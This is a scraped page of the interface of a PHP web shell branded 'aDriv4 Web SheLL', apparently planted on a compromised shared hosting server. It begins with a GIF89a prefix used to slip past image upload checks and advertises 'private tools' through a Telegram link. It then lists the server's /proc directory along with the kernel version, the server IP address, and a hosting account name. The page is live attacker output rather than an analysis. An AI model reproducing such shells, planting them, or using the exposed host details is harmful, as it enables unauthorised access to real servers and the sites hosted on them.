GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium43.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 199.188.200.144
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-05-20 10:45:16
.. dir - root/root 0755 2024-03-25 03:06:13
109157 dir - movibyxa/movibyxa 0555 2025-07-07 03:05:19
109531 dir - movibyxa/movibyxa 0555 2025-07-07 03:05:22
109532 dir - movibyxa/movibyxa 0555 2025-07-07 03:05:22
3861239 dir - movibyxa/movibyxa 0555 2025-07-07 02:50:24
82023 dir - movibyxa/movibyxa 0555 2025-07-07 03:00:14
acpi dir - root/root 0555 2025-05-20 10:45:24
bus dir - root/root 0555 2025-05-20 10:45:48
driver dir - root/root 0555 2025-07-07 03:05:22
fs dir - root/root 0555 2025-05-20 10:45:48
irq dir - root/root 0555 2025-05-20 10:45:48
kcare dir - root/root 0555 2025-07-07 03:05:22
lve dir - root/root 0555 2025-07-07 02:50:26
net link - movibyxa/movibyxa 0555 2025-07-07 03:05:22
scsi dir - root/root 0555 2025-05-20 10:45:48
self link - movibyxa/movibyxa 0555 2025-07-07 03:05:22
sys dir - root/root 0555 2025-05-20 06:45:19
sysvipc dir - root/root 0555 2025-07-07 03:05:22
thread-self link - movibyxa/movibyxa 0555 2025-07-07 03:05:22
tty dir - root/root 0555 2025-07-07 02:51:45
buddyinfo 0 B root/root 0444 2025-07-07 03:05:22
cgroups 0 B root/root 0444 2025-07-07 02:51:45
cmdline text/plain 0 B root/root 0444 2025-07-07 02:50:27
consoles 0 B root/root 0444 2025-07-07 03:05:22
cpuinfo text/plain 0 B root/root 0444 2025-07-07 02:50:27
crypto 0 B root/root 0444 2025-07-07 03:05:22
devices 0 B root/root 0444 2025-07-07 03:05:22
diskstats 0 B root/root 0444 2025-07-07 02:50:37
dma 0 B root/root 0444 2025-07-07 03:05:22
execdomains 0 B root/root 0444 2025-07-07 03:05:22
fb 0 B root/root 0444 2025-07-07 03:05:22
filesystems text/plain 0 B root/root 0444 2025-07-07 02:50:18
interrupts 0 B root/root 0444 2025-07-07 03:05:22
iomem 0 B root/root 0444 2025-07-07 03:05:22
ioports 0 B root/root 0444 2025-07-07 03:05:22
kallsyms 0 B root/root 0444 2025-05-20 10:45:48
kcore 128 TB root/root 0400 2025-05-20 10:45:22
key-users 0 B root/root 0444 2025-07-07 03:05:22
keys 0 B root/root 0444 2025-07-07 03:05:22
kmsg 0 B root/root 0400 2025-07-07 03:05:22
kpagecgroup 0 B root/root 0400 2025-07-07 03:05:22
kpagecount 0 B root/root 0400 2025-07-07 03:05:22
kpageflags 0 B root/root 0400 2025-07-07 03:05:22
loadavg text/plain 0 B root/root 0444 2025-07-07 02:50:27
locks 0 B root/root 0444 2025-07-07 03:05:22
mdstat 0 B root/root 0444 2025-07-07 02:53:04
meminfo text/plain 0 B root/root 0444 2025-07-07 02:50:34
misc 0 B root/root 0444 2025-07-07 03:05:22
modules 0 B root/root 0444 2025-07-07 03:05:22
mounts text/plain 0 B movibyxa/movibyxa 0444 2025-07-07 03:05:22
mtrr 0 B root/root 0644 2025-05-20 10:45:48
pagetypeinfo 0 B root/root 0400 2025-07-07 03:05:22
partitions 0 B root/root 0444 2025-07-07 03:01:12
sched_debug 0 B root/root 0444 2025-07-07 03:05:22
schedstat 0 B root/root 0444 2025-07-07 03:05:22
slabinfo 0 B root/root 0400 2025-07-07 03:05:22
softirqs 0 B root/root 0444 2025-07-07 03:05:22
stat text/plain 0 B root/root 0444 2025-07-07 02:50:20
swaps 0 B root/root 0444 2025-05-20 06:45:19
sysrq-trigger 0 B root/root 0200 2025-05-20 10:45:48
timer_list 0 B root/root 0400 2025-07-07 03:05:22
uptime text/plain 0 B root/root 0444 2025-07-07 02:50:36
version text/plain 0 B root/root 0444 2025-07-07 03:04:10
vmallocinfo 0 B root/root 0400 2025-07-07 03:05:22
vmstat 0 B root/root 0444 2025-07-07 02:51:06
zoneinfo 0 B root/root 0444 2025-07-07 03:05:22
© aDriv4